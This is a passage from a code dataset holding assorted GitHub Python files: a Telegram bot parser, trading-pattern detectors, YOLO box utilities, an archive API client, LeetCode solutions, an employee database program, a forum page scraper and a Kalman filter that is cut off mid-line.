f\"\"\"Сегодня вы записаны на {item['groupName']} в {item['startTime']}. Преподаватель: \n {item['teacherName']}. {item['roomName']}\\n\\n\"\"\"\n if result == '':\n return f\"Сегодня вы не записаны\"\n else:\n return result\n","repo_name":"aekomissarova/mary_dance_studio_telegram_bot","sub_path":"JSON_parser.py","file_name":"JSON_parser.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33047041923","text":"\"\"\"\nThis file is used to identify whether specially made candle objects \nindicate trend reversal patterns.\n\"\"\"\n\nimport numpy as np\n\ndef _about(num1, num2, margin, ndigits):\n if round(num1 + margin, ndigits) == round(num2, ndigits):\n return True\n if round(num1 - margin, ndigits) == round(num2, ndigits):\n return True\n return False\n\ndef _get_weights(X, y):\n ones = np.ones((X.shape[0], 1))\n X = np.append(ones, X, axis=1)\n W = np.dot(np.linalg.pinv(np.dot(X.T, X)), np.dot(X.T, y))\n return W\n\ndef define_trend(data_points):\n \"\"\"\n A list of tuples -> (idx:int, closing_price:float) is given, and output is a string,\n either BEARISH or BULLISH.\n \"\"\"\n X = np.array([[data_point[0]] for data_point in data_points])\n y = np.array([data_point[1] for data_point in data_points])\n trend = float(_get_weights(X, y)[1])\n if trend >= 0:\n return \"BULLISH\"\n elif trend < 0:\n return \"BEARISH\"\n\ndef identify_engulfing(lst_of_candles, past_50_dpts):\n \"\"\"\n Returns boolean indicating whether the candles signify a trend reversal.\n \"\"\"\n\n candle_a = lst_of_candles[0]\n candle_b = lst_of_candles[1]\n if define_trend(past_50_dpts) == candle_b.type:\n if candle_a.type != candle_b.type:\n if candle_a.type == \"BEARISH\":\n if (candle_a.open < candle_b.close) and (candle_a.close < candle_b.open):\n return True\n return False\n\ndef identify_morning_star(lst_of_candles, past_50_dpts):\n \"\"\"\n Returns boolean indicating whether the candles signify a trend reversal.\n \"\"\"\n\n candle_a = lst_of_candles[0]\n candle_b = lst_of_candles[1]\n candle_c = lst_of_candles[2]\n\n if define_trend(past_50_dpts) == candle_a.type:\n if candle_a.type != candle_c.type:\n if round(candle_b.body_range, 3) <= 0.01:\n if candle_c.volume > candle_a.volume:\n return True\n return False\n\ndef identify_3_black_crows(lst_of_candles, past_50_dpts):\n \"\"\"\n Returns boolean indicating whether the candles signify a trend reversal.\n \"\"\"\n\n candle_a = lst_of_candles[0]\n candle_b = lst_of_candles[1]\n candle_c = lst_of_candles[2]\n\n if define_trend(past_50_dpts) == \"BULLISH\":\n if 25 < candle_a.rsi < 50:\n if 25 < candle_b.rsi < 50:\n if 25 < candle_c.rsi < 50:\n if (candle_a.type == \"BEARISH\") and (candle_b.type == \"BEARISH\") and (candle_c.type == \"BEARISH\"):\n if candle_a.close > candle_b.close > candle_c.close:\n return True\n return False\n\ndef identify_3_white_soldiers(lst_of_candles, past_50_dpts):\n \"\"\"\n Returns boolean indicating whether the candles signify a trend reversal.\n \"\"\"\n\n candle_a = lst_of_candles[0]\n candle_b = lst_of_candles[1]\n candle_c = lst_of_candles[2]\n\n if define_trend(past_50_dpts) == \"BEARISH\":\n if 35 < candle_a.rsi < 70:\n if 35 < candle_b.rsi < 70:\n if 35 < candle_c.rsi < 70:\n if (candle_a.type == \"BULLISH\") and (candle_b.type == \"BULLISH\") and (candle_c.type == \"BULLISH\"):\n if candle_a.close < candle_b.close < candle_c.close:\n return True\n return False\n\ndef identify_piercing_pattern(lst_of_candles, past_50_dpts):\n \"\"\"\n Returns boolean indicating whether the candles signify a trend reversal.\n \"\"\"\n\n candle_a = lst_of_candles[0]\n candle_b = lst_of_candles[1]\n\n if define_trend(past_50_dpts) == \"BEARISH\":\n if candle_a.type == \"BEARISH\":\n if candle_b.type == \"BULLISH\":\n if candle_a.close > candle_b.open:\n if candle_b.close > (candle_a.open - (0.5 * candle_a.body_range)):\n return True\n return False\n\n\ndef identify_shooting_star(lst_of_candles, past_50_dpts):\n \"\"\"\n Returns boolean indicating whether the candles signify a trend reversal.\n \"\"\"\n candle_a = lst_of_candles[0]\n if define_trend(past_50_dpts) == \"BULLISH\":\n if candle_a.type == \"BEARISH\":\n if round((candle_a.high - candle_a.open), 3) >= 0.04:\n if 0.002 < round(candle_a.body_range, 4) < 0.004:\n return True\n return False\n","repo_name":"karthiksing05/8ball","sub_path":"patterns.py","file_name":"patterns.py","file_ext":"py","file_size_in_byte":4293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36235980580","text":"import torch\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef intersection_over_union(preds, targets):\n '''\n Calculates the intersection over union for two bounding boxes of format x, y, w, h\n IOU = intersection / union\n Args:\n preds (tensor): predicted bounding box, size : [N, 4]\n targets (tensor): groundtruth bounding box, size : [M, 4]\n '''\n box1_x1 = preds[..., 0:1] - preds[..., 2:3] / 2\n box1_y1 = preds[..., 1:2] - preds[..., 3:4] / 2\n box1_x2 = preds[..., 0:1] + preds[..., 2:3] / 2\n box1_y2 = preds[..., 1:2] + preds[..., 3:4] / 2\n box2_x1 = targets[..., 0:1] - targets[..., 2:3] / 2\n box2_y1 = targets[..., 1:2] - targets[..., 3:4] / 2\n box2_x2 = targets[..., 0:1] + targets[..., 2:3] / 2\n box2_y2 = targets[..., 1:2] + targets[..., 3:4] / 2\n\n x1 = torch.max(box1_x1, box2_x1)\n y1 = torch.max(box1_y1, box2_y1)\n x2 = torch.min(box1_x2, box2_x2)\n y2 = torch.min(box1_y2, box2_y2)\n\n intersection = (x2 - x1).clamp(0) * (y2 - y1).clamp(0)\n\n box1_area = abs((box1_x2 - box1_x1) * (box1_y2 - box1_y1))\n box2_area = abs((box2_x2 - box2_x1) * (box2_y2 - box2_y1))\n\n union = box1_area + box2_area - intersection\n\n return intersection / (union + 1e-6)\n\n\ndef non_max_supression(bboxes, iou_thresh, thresh):\n '''\n Performs non max supression on the bounding box passed in\n '''\n bboxes = sorted([box for box in bboxes if box[1] > thresh], key = lambda x : -x[1])\n print(\"!!!\", bboxes)\n nms = []\n\n while bboxes:\n box_ = bboxes.pop(0)\n\n bboxes = [box for box in bboxes if box[0] != box_[0] or intersection_over_union((box_[2:]).clone().detach(), (box[2:]).clone().detach()) < iou_thresh] \n\n nms.append(box_)\n \n return nms\n \n\ndef xyxy_to_xywh(bbox, width, height, norm=False):\n '''\n Converts bounding box of format x1, y1, x2, y2 to x, y, w, h\n Args:\n bbox: bounding box with format x1, y1, x2, y2\n width: width of image\n height: height of image\n norm (bool): if True normalize the coordinates to the width and height of the image else send the exact pixel location\n Return:\n bbox_: bounding box with format x, y, w, h if norm is False else the coordinates are normalized to the height and width of the image\n '''\n bbox_ = np.copy(bbox)\n bbox_[0] = (bbox[0] + bbox[2]) / 2\n bbox_[1] = (bbox[1] + bbox[3]) / 2\n bbox_[2] = bbox[2] - bbox[0]\n bbox_[3] = bbox[3] - bbox[1]\n\n if norm:\n bbox_[0] /= width\n bbox_[1] /= height\n bbox_[2] /= width\n bbox_[3] /= height\n\n return bbox_\n\ndef xywh_to_xyxy(bbox, width, height):\n '''\n Converts bounding box of format x, y, w, h to x1, y1, x2, y2\n Args:\n bbox: bounding box with format x, y, w, h\n norm: was the bounding normalized\n Return:\n bbox_: bounding box with format x1, y2, x2, y2\n '''\n bbox_ = bbox.clone() if isinstance(bbox, torch.Tensor) else np.copy(bbox)\n bbox_[:, 0] = (bbox[:, 0] - bbox[:, 2] / 2) \n bbox_[:, 1] = (bbox[:, 1] - bbox[:, 3] / 2)\n bbox_[:, 2] = (bbox[:, 0] + bbox[:, 2] / 2) \n bbox_[:, 3] = (bbox[:, 1] + bbox[:, 3] / 2)\n\n return bbox_\n\ndef precision(tp ,fp):\n try:\n pre = tp / (tp + fp)\n except:\n pre = 1\n return pre\n \ndef recall(tp, fn):\n try:\n rec = tp / (tp + fn)\n except:\n rec = 1\n return rec\n\ndef f1_score():\n pass\n\ndef mean_average_precision(pred_boxes, true_boxes, iou_threshold = 0.5, num_classes = 13):\n avg_precisions = []\n epsilon = 1e-6\n \n for c in range(num_classes):\n detections = []\n ground_truths = []\n \n # for detection in pred_boxes:\n \n pass\n\ndef plot_loss_curve(epochs, losses):\n epochs = np.arange(1, epochs + 1)\n plt.plot(epochs, losses)","repo_name":"Calix-Mingyu-Kim/2022-2023-vip","sub_path":"Lane_Detection_F22/yolov1/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32406991544","text":"from time import sleep\n\nPATH_TO_OUTPUT_FILE = \"short_lived_dummy_server.log\"\n\nimport random\nimport string\n\nid = ''.join(random.choice(string.ascii_lowercase) for i in range(10))\n\ncount = 0\nwhile True:\n try:\n message = f'{id}\\n'\n print(message)\n with open(PATH_TO_OUTPUT_FILE, 'a') as f:\n f.write(message)\n sleep(1)\n count += 1\n\n # Kill the process every 3 iterations\n if count == 3:\n print('Server subprocess kills itself')\n exit(5)\n\n except KeyboardInterrupt as e:\n print(\"Cleaning up subprocess\")\n exit(0)\n","repo_name":"woop/warp","sub_path":"short_lived_dummy_server.py","file_name":"short_lived_dummy_server.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"1106509235","text":"import json\nimport logging\n\nimport requests\nfrom requests import adapters\nfrom urllib3.util import retry\n\nimport config\nfrom utils.token_manager import TokenManager\n\n\nclass AAPTokenClient:\n def __init__(self, url=None, username=None, password=None):\n self.url = url if url else config.AAP_API_URL\n self.username = username if username else config.AAP_API_USER\n self.password = password if password else config.AAP_API_PASSWORD\n\n def retrieve_token(self):\n token = ''\n response = requests.get(self.url, auth=(self.username, self.password))\n if response.ok:\n token = response.text\n return token\n\n\nDSP_ENTITY_LINK = {\n 'study': 'enaStudies',\n 'sample': 'samples',\n 'sequencingExperiment': 'sequencingExperiments',\n 'project': 'projects',\n 'sequencingRun': 'sequencingRuns'\n}\n\nDSP_ENTITY_CURR_VERSION_LINK = {\n 'study': 'studies',\n 'sample': 'samples',\n 'sequencingExperiment': 'assays',\n 'project': 'projects',\n 'sequencingRun': 'assayData'\n}\n\n\nclass DataSubmissionPortal:\n def __init__(self, url=None):\n self.logger = logging.getLogger(__name__)\n self.url = url if url else config.DSP_API_URL\n self.logger.info(f'Using {self.url}')\n\n self.aap_api_domain = config.AAP_API_DOMAIN\n self.token_client = AAPTokenClient(url=config.AAP_API_URL)\n self.token_manager = TokenManager(token_client=self.token_client)\n retry_policy = retry.Retry(\n total=100, # seems that this has a default value of 10,\n # setting this to a very high number so that it'll respect the status retry count\n status=17, # status is the no. of retries if response is in status_forcelist,\n # this count will retry for ~20mins with back off timeout within\n read=10,\n status_forcelist=[500, 502, 503, 504],\n backoff_factor=0.6)\n self.session = requests.Session()\n adapter = requests.adapters.HTTPAdapter(max_retries=retry_policy)\n self.session.mount('https://', adapter)\n\n def get_headers(self):\n return {\n 'Content-type': 'application/json',\n 'Accept': 'application/json',\n 'Authorization': 'Bearer ' + self.token_manager.get_token()\n }\n\n def create_submission(self):\n create_submissions_url = self.url + '/api/teams/' + self.aap_api_domain + '/submissions'\n return self._post(url=create_submissions_url, data_json={})\n\n def get_submission(self, url):\n return self._get(url=url)\n\n def delete_submission(self, delete_url):\n return self._delete(delete_url)\n\n def get_contents(self, get_contents_url):\n return self._get(get_contents_url)\n\n def get_entity_url(self, entity_type):\n return DSP_ENTITY_LINK[entity_type]\n\n def get_submission_url(self, submission_uuid):\n return f'{self.url}/api/submissions/{submission_uuid}'\n\n def get_submission_status(self, get_submission_status_url):\n return self._get(get_submission_status_url)\n\n def create_entity(self, create_entity_url, content):\n return self._post(create_entity_url, content)\n\n def create_samples(self, create_sample_url, samples):\n for sample in samples:\n converted_sample = self.converter.convert_project(sample)\n self.create_entity(create_sample_url, converted_sample)\n\n def get_available_statuses(self, get_available_statuses_url):\n return self._get_all(get_available_statuses_url, 'statusDescriptions')\n\n def get_validation_results(self, get_validation_results_url):\n return self._get_all(get_validation_results_url, 'validationResults')\n\n def get_validation_result_details(self, get_validation_result_url):\n return self._get(get_validation_result_url)\n\n def update_submission_status(self, dsp_submission, new_status):\n submission_status_url = dsp_submission['_links']['submissionStatus']['href']\n status_json = {\"status\": new_status}\n\n updated_submission = self._patch(submission_status_url, status_json)\n\n return updated_submission\n\n def get_processing_summary(self, dsp_submission):\n get_summary_url = dsp_submission['_links']['processingStatusSummary']['href']\n\n return self._get(get_summary_url)\n\n def get_processing_results(self, dsp_submission):\n get_results_url = dsp_submission['_links']['processingStatuses']['href']\n return self._get_all(get_results_url, 'processingStatuses')\n\n def get_submission_blockers_summary(self, dsp_submission):\n blockers_summary_url = dsp_submission['_links']['submissionBlockersSummary']['href']\n return self._get(blockers_summary_url)\n\n def get_current_version(self, entity_type, alias):\n entity_link = DSP_ENTITY_CURR_VERSION_LINK[entity_type]\n url = f'{self.url}/api/{entity_link}/search/current-version?teamName={self.aap_api_domain}&alias={alias}'\n response = self.session.get(url, headers=self.get_headers())\n\n if response.status_code == requests.codes.not_found:\n return None\n elif response.status_code == requests.codes.ok:\n return response.json()\n else:\n response.raise_for_status()\n\n # ===\n\n def _get(self, url):\n response = self.session.get(url, headers=self.get_headers())\n return self._get_json(response)\n\n def _post(self, url, data_json):\n response = self.session.post(url, data=json.dumps(data_json), headers=self.get_headers())\n return self._get_json(response)\n\n def _patch(self, url, data_json):\n response = self.session.patch(url, data=json.dumps(data_json), headers=self.get_headers())\n return self._get_json(response)\n\n def _delete(self, delete_url):\n response = self.session.delete(delete_url, headers=self.get_headers())\n response.raise_for_status()\n\n if response.ok:\n return True\n else:\n self.logger.error('Response:' + response.text)\n\n return False\n\n def _get_json(self, response):\n response.raise_for_status()\n return response.json()\n\n def _get_embedded_list(self, response, list_name):\n if response and \"_embedded\" in response:\n return response[\"_embedded\"][list_name]\n return []\n\n def _get_all(self, url, entity_type):\n r = self.session.get(url, headers=self.get_headers())\n r.raise_for_status()\n if \"_embedded\" in r.json():\n for entity in r.json()[\"_embedded\"][entity_type]:\n yield entity\n while \"next\" in r.json()[\"_links\"]:\n r = self.session.get(r.json()[\"_links\"][\"next\"][\"href\"], headers=self.get_headers())\n for entity in r.json()[\"_embedded\"][entity_type]:\n yield entity\n","repo_name":"ebi-ait/ingest-archiver","sub_path":"api/dsp.py","file_name":"dsp.py","file_ext":"py","file_size_in_byte":6837,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"35918229712","text":"'''\n\t@judge LeetCode\n\t@id 820\n\t@name Short Encoding of Words\n\n\t@tag String Manipulation, Monotonicity, Lexicographical order\n'''\nclass Solution:\n\tdef minimumLengthEncoding(self, words: List[str]) -> int:\n\t\tls = sorted(map(lambda s: s[::-1], words))\n\t\tit = iter(ls)\n\t\tnext(it)\n\t\treturn sum(map(lambda p: len(p[0]) + 1, filter(lambda p: p[1].startswith(p[0]) == False, zip(ls, it)))) + len(ls[-1]) + 1","repo_name":"m80126colin/Judge","sub_path":"since2020/LeetCode/LeetCode 820.py","file_name":"LeetCode 820.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"75"} +{"seq_id":"14184573771","text":"class Solution:\n def missingNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n return sum(range(len(nums) + 1)) - sum(nums)\n\nif __name__ == \"__main__\":\n nums = [3, 0, 1]\n assert Solution().missingNumber(nums) == 2\n\n nums = [9,6,4,2,3,5,7,0,1]\n assert Solution().missingNumber(nums) == 8\n\n\n'''\nRuntime: 153 ms, faster than 72.96% of Python3 online submissions for Missing Number.\nMemory Usage: 15.2 MB, less than 77.27% of Python3 online submissions for Missing Number.\n'''\nclass Solution:\n def missingNumber(self, nums: List[int]) -> int:\n n = len(nums)\n return n * (n + 1) // 2 - sum(nums)","repo_name":"lixiang2017/leetcode","sub_path":"problems/0268.0_Missing_Number.py","file_name":"0268.0_Missing_Number.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16603069307","text":"# CS/IS-151 Spring 2020\r\n# Nancy Tran\r\n# Phase 2\r\n\r\nimport pickle as p\r\n\r\ndef main():\r\n intro()\r\n\r\n file_name = 'employee.dat'\r\n\r\n db = load(file_name)\r\n\r\n exit = False\r\n\r\n while not exit:\r\n print(\"Main Menu:\")\r\n print(\"1.\tAdd an Employee\")\r\n print(\"2.\tFind an Employee (By Employee ID)\")\r\n print(\"3.\tFind an Employee (By Name)\")\r\n print(\"4.\tDelete an Employee\")\r\n print(\"5.\tDisplay Statistics\")\r\n print(\"6.\tDisplay All Employees\")\r\n print(\"7.\tExit\")\r\n\r\n selection = False\r\n while not selection:\r\n user_input = input(\"Enter you selection (1..7):\\n\")\r\n\r\n if (user_input == '1'):\r\n emp_id = input(\"Enter an Employee ID or QUIT to stop:\")\r\n\r\n if (emp_id.lower() != \"quit\"):\r\n emp_id = int(emp_id)\r\n if (emp_id in db):\r\n print(\"This employee ID has already been taken. Please try again.\")\r\n pass\r\n else:\r\n db[emp_id] = {}\r\n \r\n db[emp_id][\"name\"] = input(\"\\nEnter employee name:\")\r\n db[emp_id][\"dept\"] = input(\"\\nEnter employee department:\")\r\n db[emp_id][\"title\"] = input(\"\\nEnter employee title:\")\r\n db[emp_id][\"salary\"] = float(input(\"\\nEnter employee salary:\\n\"))\r\n selection = True\r\n \r\n elif (user_input == '2'):\r\n emp_id = input(\"Enter an Employee ID or QUIT to stop:\")\r\n\r\n if (emp_id.lower() != \"quit\"):\r\n emp_id = int(emp_id)\r\n if (emp_id in db):\r\n print(\"\\nEmployee ID:\", emp_id)\r\n print(\"\\tName:\", db[emp_id][\"name\"])\r\n print(\"\\tDepartment:\", db[emp_id][\"dept\"])\r\n print(\"\\tTitle:\", db[emp_id][\"title\"])\r\n print(\"\\tSalary:\", format(db[emp_id][\"salary\"], \",.2f\"))\r\n selection = True\r\n else:\r\n print(\"Employee ID: \" + emp_id + \" was not found in the database.\")\r\n selection = True\r\n \r\n emp_id = input(\"Enter an Employee ID or QUIT to stop:\\n\")\r\n elif (user_input == '3'):\r\n emp_name = input(\"Enter an employee name or QUIT to stop:\")\r\n\r\n count = 0\r\n if (emp_name.lower() != \"quit\"):\r\n for key, value in db.items():\r\n if (emp_name in value[\"name\"]):\r\n count =+ 1\r\n print(\"\\nFound\", count, \"employee with that name.\")\r\n print(\"Employee ID:\", key)\r\n print(\"\\tName:\", value[\"name\"])\r\n print(\"\\tDepartment:\", value[\"dept\"])\r\n print(\"\\tTitle:\", value[\"title\"])\r\n print(\"\\tSalary:\", format(value[\"salary\"], \",.2f\"))\r\n selection = True\r\n else:\r\n print(\"Employee Name: \" + emp_name + \" was not found in the database.\")\r\n \r\n \r\n \r\n elif (user_input == '4'):\r\n delete_emp_id = input(\"Enter an Employee ID to delete or QUIT to stop:\")\r\n\r\n if (delete_emp_id.lower() != \"quit\"):\r\n delete_emp_id = int(delete_emp_id)\r\n\r\n try:\r\n if (delete_emp_id == emp_id):\r\n del db[emp_id]\r\n except:\r\n print(\"This employee was not found in the database.\")\r\n \r\n elif (user_input == '5'):\r\n print(\"Department Statistics:\")\r\n\r\n departments = {\"Engineering\": 0}\r\n\r\n for empid, stats in db.items():\r\n if (stats[\"dept\"] in departments):\r\n departments[stats[\"dept\"]] += 1\r\n else:\r\n departments[stats[\"dept\"]] = 1\r\n\r\n for stats, values in departments.items():\r\n if (values == 1):\r\n print(\"\\tDepartment:\", stats, \"-\", values, \"employee\")\r\n print(\"There is\", len(departments), \"department in the database.\")\r\n print(\"There is\", len(db), \"employee in the database.\")\r\n selection = True\r\n\r\n else:\r\n print(\"\\tDepartment:\", stats, \"-\", values, \"employees\")\r\n\r\n \r\n if (len(departments) > 1):\r\n print(\"There are\", len(departments), \"departments in the database.\")\r\n print(\"There are\", len(db), \"employees in the database.\")\r\n \r\n \r\n selection = True\r\n \r\n elif (user_input == '6'):\r\n if (len(db) != 0):\r\n for empid, stat in db.items():\r\n print(\"Employee ID:\", empid)\r\n print(\"\\tName:\", db[empid][\"name\"])\r\n print(\"\\tDepartment:\", db[empid][\"dept\"])\r\n print(\"\\tTitle:\", db[empid][\"title\"])\r\n print(\"\\tSalary:\", format(db[empid][\"salary\"], \",.2f\"))\r\n\r\n if (len(db) == 1):\r\n print(\"There is\", len(db), \"employee in the database.\")\r\n else:\r\n print(\"There are\", len(db), \"employees in the database.\")\r\n selection = True\r\n else:\r\n print(\"Employee database is empty.\")\r\n selection = True\r\n \r\n elif (user_input == '7'):\r\n print(\"Thank you for using Employee Management System (EMS)\")\r\n return\r\n else:\r\n print(\"Invalid selection.\")\r\n continue\r\n\r\n \r\n \r\n \r\n\r\n save(db, file_name)\r\n\r\ndef intro():\r\n print(\"Welcome to Employee Management System (EMS)\")\r\n \r\n\r\ndef load(file_name):\r\n try:\r\n input_file = open(file_name, 'rb')\r\n db = p.load(input_file)\r\n input_file.close()\r\n \r\n except:\r\n print(\"Unable to load the database from binary file \" + file_name + \".\")\r\n print(\"Creating an empty database.\")\r\n\r\n db = {}\r\n \r\n return db\r\n\r\ndef save(db, file_name):\r\n output_file = open(file_name, 'wb')\r\n\r\n p.dump(db, output_file)\r\n\r\n\r\n output_file.close()\r\n\r\n return db, output_file\r\n\r\n menu(db)\r\n\r\nmain()\r\n\r\n","repo_name":"nancyletranx3/employment_mgmt_system","sub_path":"employment_mgmt_sys_two.py","file_name":"employment_mgmt_sys_two.py","file_ext":"py","file_size_in_byte":6856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14177593221","text":"'''\n3 / 117 个通过测试用例\n状态:超出时间限制\n提交时间:3 小时前\n最后执行的输入:\n6\n2\n[[4,2],[6,2],[2,1],[4,1],[6,1],[3,1],[2,2],[3,2],[1,1],[5,1],[5,2],[1,2]]\n\n\nBinary Search + BFS\n'''\nclass Solution:\n def latestDayToCross(self, row: int, col: int, cells: List[List[int]]) -> int:\n N = row * col\n states = []\n state = [[0] * col for _ in range(row)]\n \n states.append(deepcopy(state))\n for i, cell in enumerate(cells):\n r, c = cell[0] - 1, cell[1] - 1\n state[r][c] = 1\n states.append(deepcopy(state))\n \n #print(states)\n dirs = [(1, 0), (0, -1), (0, 1)] # (-1, 0), \n def inArea(x, y):\n return 0 <= x < row and 0 <= y < col\n \n def check(idx):\n # matrix\n m = states[idx]\n q = deque([(0, j) for j in range(col) if m[0][j] == 0])\n while q:\n x, y = q.popleft()\n for dx, dy in dirs:\n nx, ny = x + dx, y + dy\n if inArea(nx, ny) and m[nx][ny] == 0:\n if nx == row - 1:\n return True\n q.append((nx, ny))\n \n return False\n \n # binary search\n l, r = 0, N\n ans = 0\n while l <= r:\n mid = l + ((r - l) >> 1)\n if check(mid):\n #print('check: ', mid)\n l = mid + 1\n ans = mid\n else:\n r = mid - 1\n \n return ans\n\n","repo_name":"lixiang2017/leetcode","sub_path":"contest/weekly-contest-254/5845.0_Last_Day_Where_You_Can_Still_Cross.py","file_name":"5845.0_Last_Day_Where_You_Can_Still_Cross.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1511682495","text":"# -*- coding: utf-8 -*-\n# @Author: Condados\n# @Date: 2022-10-07 15:20:49\n# @Last Modified by: Condados\n# @Last Modified time: 2022-10-07 15:22:08\nimport tensorflow as tf\nimport os\n\ndef export_to_tflite(saved_model_dir, export_dest_dir):\n # Convert the model\n converter = tf.lite.TFLiteConverter.from_saved_model(saved_model_dir) # path to the SavedModel directory\n tflite_model = converter.convert()\n\n # Save the model.\n tflite_file = os.path.join(export_dest_dir, 'model.tflite')\n with open(tflite_file, 'wb') as f:\n f.write(tflite_model)","repo_name":"Gabriellgpc/ELDepth","sub_path":"workspace/src/helpers/tflite_exporter.py","file_name":"tflite_exporter.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"13264279046","text":"# coding=utf-8\r\nimport requests\r\n\r\nclass TiebaSpider:\r\n def __init__(self,tieba_name):\r\n self.url_temp = \"https://tieba.baidu.com/f?kw=\"+tieba_name+\"&ie=utf-8&pn={}\"\r\n self.headers = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36\"}\r\n self.tieba_name = tieba_name\r\n\r\n def get_url_list(self):\r\n # ur_list = []\r\n # for i in range(1000):\r\n # ur_list.append(self.url_temp.format(i*50))\r\n # return ur_list\r\n # print([self.url_temp.format(i * 50) for i in range(1000)])\r\n return [self.url_temp.format(i*50) for i in range(1000)]\r\n\r\n\r\n\r\n def parse_url(self,url):\r\n response = requests.get(url,headers = self.headers)\r\n return response.content\r\n\r\n def save_html(self,html_str,page_num ):\r\n file_path = \"{}--第{}页.html\".format(self.tieba_name,page_num)\r\n with open(file_path,\"wb+\") as f :\r\n f.write(html_str)\r\n print(file_path)\r\n\r\n def run(self): #实现主要逻辑\r\n #1.url列表构造\r\n ur_list = self.get_url_list()\r\n #2.遍历发送请求,获取响应\r\n for url in ur_list:\r\n html_str = self.parse_url(url)\r\n #3.保存\r\n page_num = ur_list.index(url)+1\r\n self.save_html(html_str,page_num)\r\n\r\nif __name__ == '__main__':\r\n tieba_spider = TiebaSpider(\"李毅\")\r\n tieba_spider.run()","repo_name":"Liu0330/spider","sub_path":"tieba/liyi/baidu.py","file_name":"baidu.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"24863214721","text":"#!/usr/bin/env python\n\n# ---------------------------------------------------------------------------\n# Licensing Information: You are free to use or extend these projects for \n# education or reserach purposes provided that (1) you retain this notice\n# and (2) you provide clear attribution to UC Berkeley, including a link \n# to http://barc-project.com\n#\n# Attibution Information: The barc project ROS code-base was developed\n# at UC Berkeley in the Model Predictive Control (MPC) lab by Jon Gonzales\n# (jon.gonzales@berkeley.edu). The cloud services integation with ROS was developed\n# by Kiet Lam (kiet.lam@berkeley.edu). The web-server app Dator was \n# based on an open source project by Bruce Wootton\n# ---------------------------------------------------------------------------\n\nfrom numpy import array, dot, eye, copy\nfrom numpy import dot, zeros, add, sum, newaxis\nfrom scipy.linalg import inv, cholesky\nimport rospy\n\nC = array([[1, 0]])\nB = eye(2)\ndef kinematicLuembergerObserver(vhat_x, vhat_y, w_z, a_x, a_y, v_x_enc, aph, dt):\n \"\"\"\n inputs: \n * current longitudinal velocity estimate vhat_x [m/s]\n * current lateral velocity estimate vhat_y [m/s]\n * yaw rate measurement from gyroscope [rad/s]\n * a_x measurement from IMU [m/s^2]\n * a_y measurement from IMU [m/s^2]\n * v_x estimate from encoder (v_x_enc) [m/s]\n output:\n * longitudinal velocity estimate vhat_x at next time step [m/s]\n * lateral velocity estimate vhat_y at next time step [m/s]\n\n reference:\n Farrelly, Jim, and Peter Wellstead. \"Estimation of vehicle lateral velocity.\"\n Control Applications, 1996. Proceedings of the 1996 IEEE International Conference\n on IEEE, 1996\n Equations (25) - (31)\n \"\"\"\n\n # compute the observer gain\n # note, the reshape(-1,1) transforms the array into a n x 1 vector\n K = array([ 2*aph*abs(w_z), (aph**2 - 1)*w_z ]).reshape(-1,1)\n\n # if car is not moving, then acclerations should be zero \n if v_x_enc == 0:\n a_x = 0\n a_y = 0\n vhat_x = 0\n vhat_y = 0\n\n # build system matrices\n A = array([[ 0, w_z], \\\n [-w_z, 0 ]])\n u = array([a_x, a_y]).reshape(-1,1)\n vhat_k = array([vhat_x, vhat_y]).reshape(-1,1)\n\n # apply observer\n vhat_kp1 = vhat_k + dt*( dot( (A - dot(K,C)), vhat_k) + dot(B,u) + K*v_x_enc)\n\n return vhat_kp1\n\n\ndef ekf(f, mx_km1, P_km1, h, y_k, Q, R, args):\n \"\"\"\n EKF Extended Kalman Filter for nonlinear dynamic systems\n ekf(f,mx,P,h,z,Q,R) returns state estimate, x and state covariance, P \n for nonlinear dynamic system:\n x[k] = f(x[k-1],u[k-1]) + v[k-1]\n y[k] = h(x[k]) + w[k]\n where v ~ N(0,Q) meaning v is gaussian noise with covariance Q\n w ~ N(0,R) meaning w is gaussian noise with covariance R\n Inputs: f: function handle for f(x)\n mx_km1: \"a priori\" state estimate\n P_km1: \"a priori\" estimated state covariance\n h: fanction handle for h(x)\n y_k: current measurement\n Q: process noise covariance \n R: measurement noise covariance\n args: additional arguments to f(x, *args)\n Output: mx_k: \"a posteriori\" state estimate\n P_k: \"a posteriori\" state covariance\n \n Notation: mx_k = E[x_k] and my_k = E[y_k], where m stands for \"mean of\"\n \"\"\"\n \n # prior update\n xDim = mx_km1.size # dimension of the state\n procm = f(mx_km1, *args) # evaluate process model\n mx_k = procm[0] # predict next state\n # A = numerical_jac(f, mx_km1, *args) # linearize process model about current state\n A = procm[1] # linearize process model about current state\n P_k = dot(dot(A,P_km1),A.T) + Q # propagate variance\n\n # measurement update\n if args[3] != 8:\n # print args[3]\n measm = h(mx_k, *args) # evaluate measurement model\n my_k = measm[0] # predict future output\n # H = numerical_jac(h, mx_k, *args) # linearize measurement model about predicted next state\n H = measm[1] # linearize measurement model about predicted next state\n P12 = dot(P_k, H.T) # cross covariance\n # print H, P12, my_k, R\n # print dot(H,P12) + R\n K = dot(P12, inv( 